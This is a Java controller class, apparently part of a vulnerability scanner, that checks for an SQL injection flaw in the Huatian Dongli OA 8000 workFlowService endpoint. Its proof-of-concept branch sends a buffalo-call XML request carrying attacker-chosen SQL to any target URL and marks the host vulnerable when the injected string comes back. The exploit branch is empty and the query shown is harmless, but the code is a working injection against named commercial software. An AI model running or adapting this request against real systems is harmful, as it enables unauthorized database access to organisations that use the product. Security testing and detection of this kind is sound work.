package com.achuna33.Controllers;

import com.achuna33.SupportType.Poc_Exp;
import com.achuna33.SupportType.SupportVul;
import com.achuna33.Utils.Cache;
import com.achuna33.Utils.HttpRequest;
import com.achuna33.Utils.Response;

@BasicMapping(uri = "华天动力OA")
public class HuaTianController extends Controller implements BasicController{
    @VulnerabilityDescriptionMapping(Description="华天动力OA 8000版 workFlowService SQL注入漏洞" ,SupportVulType= SupportVul.SQLInjection)
    public void vul_Getfile(Poc_Exp type, String target, Object... args) throws Exception {
        WriteLog("\n开始检测：  华天动力OA 8000版 workFlowService SQL注入漏洞");

        switch (type){
            case EXP:
                break;
            case POC:
                String data = "<buffalo-call> \n" +
                        "<method>getDataListForTree</method> \n" +
                        "<string>select 'flag';</string> \n" +
                        "</buffalo-call>";
                HttpRequest httpRequest = new HttpRequest(target+"/OAapp/bfapp/buffalo/workFlowService");
                httpRequest.addHeaders("Content-type"," ");
                Response result = httpRequest.Post(data);
                if(result.responseBody.contains("flag")&&result.statusCode==200){
                    WriteLog(" 存在漏洞");
                    WriteLog(result.responseBody);
                }else {
                    WriteLog(" 不存在漏洞");
                }
                WriteLog("\n"+result.responseBody);
        }
    }

}
